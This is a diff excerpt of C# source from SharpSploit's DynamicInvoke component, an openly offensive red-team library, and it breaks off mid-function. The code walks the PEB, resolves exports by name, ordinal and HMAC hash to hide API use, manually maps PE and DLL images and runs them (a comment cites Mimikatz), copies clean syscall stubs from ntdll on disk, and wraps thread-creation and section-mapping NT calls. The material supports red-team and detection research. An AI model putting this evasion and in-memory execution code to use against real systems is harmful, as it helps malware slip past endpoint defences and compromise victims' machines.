{
return Mod.BaseAddress;
}
}
return IntPtr.Zero;
}
/// <summary>
/// Helper for getting the base address of a module loaded by the current process. This base
/// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for
/// manual export parsing. This function parses the _PEB_LDR_DATA structure.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll").</param>
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.</returns>
public static IntPtr GetPebLdrModuleEntry(string DLLName)
{
// Get _PEB pointer
Execute.Native.PROCESS_BASIC_INFORMATION pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1));
// Set function variables
bool Is32Bit = false;
UInt32 LdrDataOffset = 0;
UInt32 InLoadOrderModuleListOffset = 0;
if (IntPtr.Size == 4)
{
Is32Bit = true;
LdrDataOffset = 0xc;
InLoadOrderModuleListOffset = 0xC;
}
else
{
LdrDataOffset = 0x18;
InLoadOrderModuleListOffset = 0x10;
}
// Get module InLoadOrderModuleList -> _LIST_ENTRY
IntPtr PEB_LDR_DATA = Marshal.ReadIntPtr((IntPtr)((UInt64)pbi.PebBaseAddress + LdrDataOffset));
IntPtr pInLoadOrderModuleList = (IntPtr)((UInt64)PEB_LDR_DATA + InLoadOrderModuleListOffset);
Execute.Native.LIST_ENTRY le = (Execute.Native.LIST_ENTRY)Marshal.PtrToStructure(pInLoadOrderModuleList, typeof(Execute.Native.LIST_ENTRY));
// Loop entries
IntPtr flink = le.Flink;
IntPtr hModule = IntPtr.Zero;
PE.LDR_DATA_TABLE_ENTRY dte = (PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(PE.LDR_DATA_TABLE_ENTRY));
while (dte.InLoadOrderLinks.Flink != le.Blink)
{
// Match module name
if (Marshal.PtrToStringUni(dte.FullDllName.Buffer).EndsWith(DLLName, StringComparison.OrdinalIgnoreCase))
{
hModule = dte.DllBase;
}
// Move Ptr
flink = dte.InLoadOrderLinks.Flink;
dte = (PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(PE.LDR_DATA_TABLE_ENTRY));
}
return hModule;
}
/// <summary>
/// Generate an HMAC-MD5 hash of the supplied string using an Int64 as the key. This is useful for unique hash based API lookups.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="APIName">API name to hash.</param>
/// <param name="Key">64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).</param>
/// <returns>string, the computed MD5 hash value.</returns>
public static string GetAPIHash(string APIName, long Key)
{
byte[] data = Encoding.UTF8.GetBytes(APIName.ToLower());
byte[] kbytes = BitConverter.GetBytes(Key);
using (HMACMD5 hmac = new HMACMD5(kbytes))
{
byte[] bHash = hmac.ComputeHash(data);
return BitConverter.ToString(bHash).Replace("-", "");
}
}
/// <summary>
/// Given a module base address, resolve the address of a function by manually walking the module export table.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
/// <param name="ExportName">The name of the export to search for (e.g. "NtAlertResumeThread").</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
{
IntPtr FunctionPtr = IntPtr.Zero;
try
{
// Traverse the PE header in memory
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
Int64 pExport = 0;
if (Magic == 0x010b)
{
pExport = OptHeader + 0x60;
}
else
{
pExport = OptHeader + 0x70;
}
// Read -> IMAGE_EXPORT_DIRECTORY
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
// Loop the array of export name RVA's
for (int i = 0; i < NumberOfNames; i++)
{
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
{
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
break;
}
}
}
catch
{
// Catch parser failure
throw new InvalidOperationException("Failed to parse module exports.");
}
if (FunctionPtr == IntPtr.Zero)
{
// Export not found
throw new MissingMethodException(ExportName + ", export not found.");
}
return FunctionPtr;
}
/// <summary>
/// Given a module base address, resolve the address of a function by manually walking the module export table.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
/// <param name="Ordinal">The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx).</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetExportAddress(IntPtr ModuleBase, short Ordinal)
{
IntPtr FunctionPtr = IntPtr.Zero;
try
{
// Traverse the PE header in memory
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
Int64 pExport = 0;
if (Magic == 0x010b)
{
pExport = OptHeader + 0x60;
}
else
{
pExport = OptHeader + 0x70;
}
// Read -> IMAGE_EXPORT_DIRECTORY
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
// Loop the array of export name RVA's
for (int i = 0; i < NumberOfNames; i++)
{
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
if (FunctionOrdinal == Ordinal)
{
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
break;
}
}
}
catch
{
// Catch parser failure
throw new InvalidOperationException("Failed to parse module exports.");
}
if (FunctionPtr == IntPtr.Zero)
{
// Export not found
throw new MissingMethodException(Ordinal + ", ordinal not found.");
}
return FunctionPtr;
}
/// <summary>
/// Given a module base address, resolve the address of a function by manually walking the module export table.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
/// <param name="FunctionHash">Hash of the exported procedure.</param>
/// <param name="Key">64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetExportAddress(IntPtr ModuleBase, string FunctionHash, long Key)
{
IntPtr FunctionPtr = IntPtr.Zero;
try
{
// Traverse the PE header in memory
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
Int64 pExport = 0;
if (Magic == 0x010b)
{
pExport = OptHeader + 0x60;
}
else
{
pExport = OptHeader + 0x70;
}
// Read -> IMAGE_EXPORT_DIRECTORY
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
// Loop the array of export name RVA's
for (int i = 0; i < NumberOfNames; i++)
{
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
if (GetAPIHash(FunctionName, Key).Equals(FunctionHash, StringComparison.OrdinalIgnoreCase))
{
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
break;
}
}
}
catch
{
// Catch parser failure
throw new InvalidOperationException("Failed to parse module exports.");
}
if (FunctionPtr == IntPtr.Zero)
{
// Export not found
throw new MissingMethodException(FunctionHash + ", export hash not found.");
}
return FunctionPtr;
}
/// <summary>
/// Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
/// <param name="ExportName">The name of the export to search for (e.g. "NtAlertResumeThread").</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, string ExportName)
{
Execute.Native.ANSI_STRING aFunc = new Execute.Native.ANSI_STRING
{
Length = (ushort)ExportName.Length,
MaximumLength = (ushort)(ExportName.Length + 2),
Buffer = Marshal.StringToCoTaskMemAnsi(ExportName)
};
IntPtr pAFunc = Marshal.AllocHGlobal(Marshal.SizeOf(aFunc));
Marshal.StructureToPtr(aFunc, pAFunc, true);
IntPtr pFuncAddr = IntPtr.Zero;
Native.LdrGetProcedureAddress(ModuleBase, pAFunc, IntPtr.Zero, ref pFuncAddr);
Marshal.FreeHGlobal(pAFunc);
return pFuncAddr;
}
/// <summary>
/// Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
/// <param name="Ordinal">The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx).</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, short Ordinal)
{
IntPtr pFuncAddr = IntPtr.Zero;
IntPtr pOrd = (IntPtr)Ordinal;
Native.LdrGetProcedureAddress(ModuleBase, IntPtr.Zero, pOrd, ref pFuncAddr);
return pFuncAddr;
}
/// <summary>
/// Retrieve PE header information from the module base pointer.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="pModule">Pointer to the module base.</param>
/// <returns>PE.PE_META_DATA</returns>
public static PE.PE_META_DATA GetPeMetaData(IntPtr pModule)
{
PE.PE_META_DATA PeMetaData = new PE.PE_META_DATA();
try
{
UInt32 e_lfanew = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + 0x3c));
PeMetaData.Pe = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + e_lfanew));
// Validate PE signature
if (PeMetaData.Pe != 0x4550)
{
throw new InvalidOperationException("Invalid PE signature.");
}
PeMetaData.ImageFileHeader = (PE.IMAGE_FILE_HEADER)Marshal.PtrToStructure((IntPtr)((UInt64)pModule + e_lfanew + 0x4), typeof(PE.IMAGE_FILE_HEADER));
IntPtr OptHeader = (IntPtr)((UInt64)pModule + e_lfanew + 0x18);
UInt16 PEArch = (UInt16)Marshal.ReadInt16(OptHeader);
// Validate PE arch
if (PEArch == 0x010b) // Image is x32
{
PeMetaData.Is32Bit = true;
PeMetaData.OptHeader32 = (PE.IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure(OptHeader, typeof(PE.IMAGE_OPTIONAL_HEADER32));
}
else if (PEArch == 0x020b) // Image is x64
{
PeMetaData.Is32Bit = false;
PeMetaData.OptHeader64 = (PE.IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure(OptHeader, typeof(PE.IMAGE_OPTIONAL_HEADER64));
} else
{
throw new InvalidOperationException("Invalid magic value (PE32/PE32+).");
}
// Read sections
PE.IMAGE_SECTION_HEADER[] SectionArray = new PE.IMAGE_SECTION_HEADER[PeMetaData.ImageFileHeader.NumberOfSections];
for (int i = 0; i < PeMetaData.ImageFileHeader.NumberOfSections; i++)
{
IntPtr SectionPtr = (IntPtr)((UInt64)OptHeader + PeMetaData.ImageFileHeader.SizeOfOptionalHeader + (UInt32)(i * 0x28));
SectionArray[i] = (PE.IMAGE_SECTION_HEADER)Marshal.PtrToStructure(SectionPtr, typeof(PE.IMAGE_SECTION_HEADER));
}
PeMetaData.Sections = SectionArray;
}
catch
{
throw new InvalidOperationException("Invalid module base specified.");
}
return PeMetaData;
}
/// <summary>
/// Resolve host DLL for API Set DLL.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <returns>Dictionary, a combination of Key:APISetDLL and Val:HostDLL.</returns>
public static Dictionary<string, string> GetApiSetMapping()
{
Execute.Native.PROCESS_BASIC_INFORMATION pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1));
UInt32 ApiSetMapOffset = IntPtr.Size == 4 ? (UInt32)0x38 : 0x68;
// Create mapping dictionary
Dictionary<string, string> ApiSetDict = new Dictionary<string, string>();
IntPtr pApiSetNamespace = Marshal.ReadIntPtr((IntPtr)((UInt64)pbi.PebBaseAddress + ApiSetMapOffset));
PE.ApiSetNamespace Namespace = (PE.ApiSetNamespace)Marshal.PtrToStructure(pApiSetNamespace, typeof(PE.ApiSetNamespace));
for (var i = 0; i < Namespace.Count; i++)
{
PE.ApiSetNamespaceEntry SetEntry = new PE.ApiSetNamespaceEntry();
SetEntry = (PE.ApiSetNamespaceEntry)Marshal.PtrToStructure((IntPtr)((UInt64)pApiSetNamespace + (UInt64)Namespace.EntryOffset + (UInt64)(i * Marshal.SizeOf(SetEntry))), typeof(PE.ApiSetNamespaceEntry));
string ApiSetEntryName = Marshal.PtrToStringUni((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.NameOffset), SetEntry.NameLength/2) + ".dll";
PE.ApiSetValueEntry SetValue = new PE.ApiSetValueEntry();
SetValue = (PE.ApiSetValueEntry)Marshal.PtrToStructure((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.ValueOffset), typeof(PE.ApiSetValueEntry));
string ApiSetValue = string.Empty;
if (SetValue.ValueCount != 0)
{
ApiSetValue = Marshal.PtrToStringUni((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetValue.ValueOffset), SetValue.ValueCount/2);
}
// Add pair to dict
ApiSetDict.Add(ApiSetEntryName, ApiSetValue);
}
// Return dict
return ApiSetDict;
}
/// <summary>
/// Call a manually mapped PE by its EntryPoint.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="PEINFO">Module meta data struct (PE.PE_META_DATA).</param>
/// <param name="ModuleMemoryBase">Base address of the module in memory.</param>
/// <returns>void</returns>
public static void CallMappedPEModule(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)
{
// Call module by EntryPoint (eg Mimikatz.exe)
IntPtr hRemoteThread = IntPtr.Zero;
IntPtr lpStartAddress = PEINFO.Is32Bit ? (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader32.AddressOfEntryPoint) :
(IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader64.AddressOfEntryPoint);
Native.NtCreateThreadEx(
ref hRemoteThread,
Execute.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL,
IntPtr.Zero, (IntPtr)(-1),
lpStartAddress, IntPtr.Zero,
false, 0, 0, 0, IntPtr.Zero
);
}
/// <summary>
/// Call a manually mapped DLL by DllMain -> DLL_PROCESS_ATTACH.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="PEINFO">Module meta data struct (PE.PE_META_DATA).</param>
/// <param name="ModuleMemoryBase">Base address of the module in memory.</param>
/// <returns>void</returns>
public static void CallMappedDLLModule(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)
{
IntPtr lpEntryPoint = PEINFO.Is32Bit ? (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader32.AddressOfEntryPoint) :
(IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader64.AddressOfEntryPoint);
PE.DllMain fDllMain = (PE.DllMain)Marshal.GetDelegateForFunctionPointer(lpEntryPoint, typeof(PE.DllMain));
bool CallRes = fDllMain(ModuleMemoryBase, PE.DLL_PROCESS_ATTACH, IntPtr.Zero);
if (!CallRes)
{
throw new InvalidOperationException("Failed to call DllMain -> DLL_PROCESS_ATTACH");
}
}
/// <summary>
/// Call a manually mapped DLL by Export.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="PEINFO">Module meta data struct (PE.PE_META_DATA).</param>
/// <param name="ModuleMemoryBase">Base address of the module in memory.</param>
/// <param name="ExportName">The name of the export to search for (e.g. "NtAlertResumeThread").</param>
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
/// <param name="Parameters">Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.</param>
/// <param name="CallEntry">Specify whether to invoke the module's entry point.</param>
/// <returns>void</returns>
public static object CallMappedDLLModuleExport(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase, string ExportName, Type FunctionDelegateType, object[] Parameters, bool CallEntry = true)
{
// Call entry point if user has specified
if (CallEntry)
{
CallMappedDLLModule(PEINFO, ModuleMemoryBase);
}
// Get export pointer
IntPtr pFunc = GetExportAddress(ModuleMemoryBase, ExportName);
// Call export
return DynamicFunctionInvoke(pFunc, FunctionDelegateType, ref Parameters);
}
/// <summary>
/// Read ntdll from disk, find/copy the appropriate syscall stub and free ntdll.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="FunctionName">The name of the function to search for (e.g. "NtAlertResumeThread").</param>
/// <returns>IntPtr, Syscall stub</returns>
public static IntPtr GetSyscallStub(string FunctionName)
{
// Verify process & architecture
bool isWOW64 = Native.NtQueryInformationProcessWow64Information((IntPtr)(-1));
if (IntPtr.Size == 4 && isWOW64)
{
throw new InvalidOperationException("Generating Syscall stubs is not supported for WOW64.");
}
// Find the path for ntdll by looking at the currently loaded module
string NtdllPath = string.Empty;
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
foreach (ProcessModule Mod in ProcModules)
{
if (Mod.FileName.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase))
{
NtdllPath = Mod.FileName;
}
}
// Alloc module into memory for parsing
IntPtr pModule = Execute.ManualMap.Map.AllocateFileToMemory(NtdllPath);
// Fetch PE meta data
PE.PE_META_DATA PEINFO = GetPeMetaData(pModule);
// Alloc PE image memory -> RW
IntPtr BaseAddress = IntPtr.Zero;
IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders;
IntPtr pImage = Native.NtAllocateVirtualMemory(
(IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize,
Execute.Win32.Kernel32.AllocationType.Commit | Execute.Win32.Kernel32.AllocationType.Reserve,
Execute.Win32.WinNT.PAGE_READWRITE
);
// Write PE header to memory
UInt32 BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pImage, pModule, SizeOfHeaders);
// Write sections to memory
foreach (PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections)
{
// Calculate offsets
IntPtr pVirtualSectionBase = (IntPtr)((UInt64)pImage + ish.VirtualAddress);
IntPtr pRawSectionBase = (IntPtr)((UInt64)pModule + ish.PointerToRawData);
// Write data
BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pVirtualSectionBase, pRawSectionBase, ish.SizeOfRawData);
if (BytesWritten != ish.SizeOfRawData)
{
throw new InvalidOperationException("Failed to write to memory.");
}
}
// Get Ptr to function
IntPtr pFunc = GetExportAddress(pImage, FunctionName);
if (pFunc == IntPtr.Zero)
{
throw new InvalidOperationException("Failed to resolve ntdll export.");
}
// Alloc memory for call stub
BaseAddress = IntPtr.Zero;
RegionSize = (IntPtr)0x50;
IntPtr pCallStub = Native.NtAllocateVirtualMemory(
(IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize,
Execute.Win32.Kernel32.AllocationType.Commit | Execute.Win32.Kernel32.AllocationType.Reserve,
Execute.Win32.WinNT.PAGE_READWRITE
);
// Write call stub
BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pCallStub, pFunc, 0x50);
if (BytesWritten != 0x50)
{
throw new InvalidOperationException("Failed to write to memory.");
}
// Change call stub permissions
Native.NtProtectVirtualMemory((IntPtr)(-1), ref pCallStub, ref RegionSize, Execute.Win32.WinNT.PAGE_EXECUTE_READ);
// Free temporary allocations
Marshal.FreeHGlobal(pModule);
RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
Native.NtFreeVirtualMemory((IntPtr)(-1), ref pImage, ref RegionSize, Execute.Win32.Kernel32.AllocationType.Reserve);
return pCallStub;
}
}
}

787
DynamicInvoke/Native.cs Normal file
View File

@ -0,0 +1,787 @@
// Author: Ryan Cobb (@cobbr_io), The Wover (@TheRealWover)
// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
// License: BSD 3-Clause
using System;
using System.Runtime.InteropServices;
using Execute = SharpSploit.Execution;
namespace SharpSploit.Execution.DynamicInvoke
{
/// <summary>
/// Contains function prototypes and wrapper functions for dynamically invoking NT API Calls.
/// </summary>
public class Native
{
public static Execute.Native.NTSTATUS NtCreateThreadEx(
ref IntPtr threadHandle,
Execute.Win32.WinNT.ACCESS_MASK desiredAccess,
IntPtr objectAttributes,
IntPtr processHandle,
IntPtr startAddress,
IntPtr parameter,
bool createSuspended,
int stackZeroBits,
int sizeOfStack,
int maximumStackSize,
IntPtr attributeList)
{
// Craft an array for the arguments
object[] funcargs =
{
threadHandle, desiredAccess, objectAttributes, processHandle, startAddress, parameter, createSuspended, stackZeroBits,
sizeOfStack, maximumStackSize, attributeList
};
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateThreadEx",
typeof(DELEGATES.NtCreateThreadEx), ref funcargs);
// Update the modified variables
threadHandle = (IntPtr)funcargs[0];
return retValue;
}
public static Execute.Native.NTSTATUS RtlCreateUserThread(
IntPtr Process,
IntPtr ThreadSecurityDescriptor,
bool CreateSuspended,
IntPtr ZeroBits,
IntPtr MaximumStackSize,
IntPtr CommittedStackSize,
IntPtr StartAddress,
IntPtr Parameter,
ref IntPtr Thread,
IntPtr ClientId)
{
// Craft an array for the arguments
object[] funcargs =
{
Process, ThreadSecurityDescriptor, CreateSuspended, ZeroBits,
MaximumStackSize, CommittedStackSize, StartAddress, Parameter,
Thread, ClientId
};
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlCreateUserThread",
typeof(DELEGATES.RtlCreateUserThread), ref funcargs);
// Update the modified variables
Thread = (IntPtr)funcargs[8];
return retValue;
}
public static Execute.Native.NTSTATUS NtCreateSection(
ref IntPtr SectionHandle,
uint DesiredAccess,
IntPtr ObjectAttributes,
ref ulong MaximumSize,
uint SectionPageProtection,
uint AllocationAttributes,
IntPtr FileHandle)
{
// Craft an array for the arguments
object[] funcargs =
{
SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, SectionPageProtection, AllocationAttributes, FileHandle
};
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateSection", typeof(DELEGATES.NtCreateSection), ref funcargs);
if (retValue != Execute.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Unable to create section, " + retValue);
}
// Update the modified variables
SectionHandle = (IntPtr) funcargs[0];
MaximumSize = (ulong) funcargs[3];
return retValue;
}
public static Execute.Native.NTSTATUS NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr)
{
// Craft an array for the arguments
object[] funcargs =
{
hProc, baseAddr
};
Execute.Native.NTSTATUS result = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtUnmapViewOfSection",
typeof(DELEGATES.NtUnmapViewOfSection), ref funcargs);
return result;
}
public static Execute.Native.NTSTATUS NtMapViewOfSection(
IntPtr SectionHandle,
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
IntPtr CommitSize,
IntPtr SectionOffset,
ref ulong ViewSize,
uint InheritDisposition,
uint AllocationType,
uint Win32Protect)
{
// Craft an array for the arguments
object[] funcargs =
{
SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, AllocationType,
Win32Protect
};
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtMapViewOfSection", typeof(DELEGATES.NtMapViewOfSection), ref funcargs);
if (retValue != Execute.Native.NTSTATUS.Success && retValue != Execute.Native.NTSTATUS.ImageNotAtBase)
{
throw new InvalidOperationException("Unable to map view of section, " + retValue);
}
// Update the modified variables.
BaseAddress = (IntPtr) funcargs[2];
ViewSize = (ulong) funcargs[6];
return retValue;
}
public static void RtlInitUnicodeString(ref Execute.Native.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString)
{
// Craft an array for the arguments
object[] funcargs =
{
DestinationString, SourceString
};
Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs);
// Update the modified variables
DestinationString = (Execute.Native.UNICODE_STRING)funcargs[0];
}
public static Execute.Native.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Execute.Native.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle)
{
// Craft an array for the arguments
object[] funcargs =
{
PathToFile, dwFlags, ModuleFileName, ModuleHandle
};
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.LdrLoadDll), ref funcargs);
// Update the modified variables
ModuleHandle = (IntPtr)funcargs[3];
return retValue;
}
public static void RtlZeroMemory(IntPtr Destination, int Length)
{
// Craft an array for the arguments
object[] funcargs =
{
Destination, Length
};
Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlZeroMemory", typeof(DELEGATES.RtlZeroMemory), ref funcargs);
}
public static Execute.Native.NTSTATUS NtQueryInformationProcess(IntPtr hProcess, Execute.Native.PROCESSINFOCLASS processInfoClass, out IntPtr pProcInfo)
{
int processInformationLength;
UInt32 RetLen = 0;
switch (processInfoClass)
{
case Execute.Native.PROCESSINFOCLASS.ProcessWow64Information:
pProcInfo = Marshal.AllocHGlobal(IntPtr.Size);
RtlZeroMemory(pProcInfo, IntPtr.Size);
processInformationLength = IntPtr.Size;
break;
case Execute.Native.PROCESSINFOCLASS.ProcessBasicInformation:
Execute.Native.PROCESS_BASIC_INFORMATION PBI = new Execute.Native.PROCESS_BASIC_INFORMATION();
pProcInfo = Marshal.AllocHGlobal(Marshal.SizeOf(PBI));
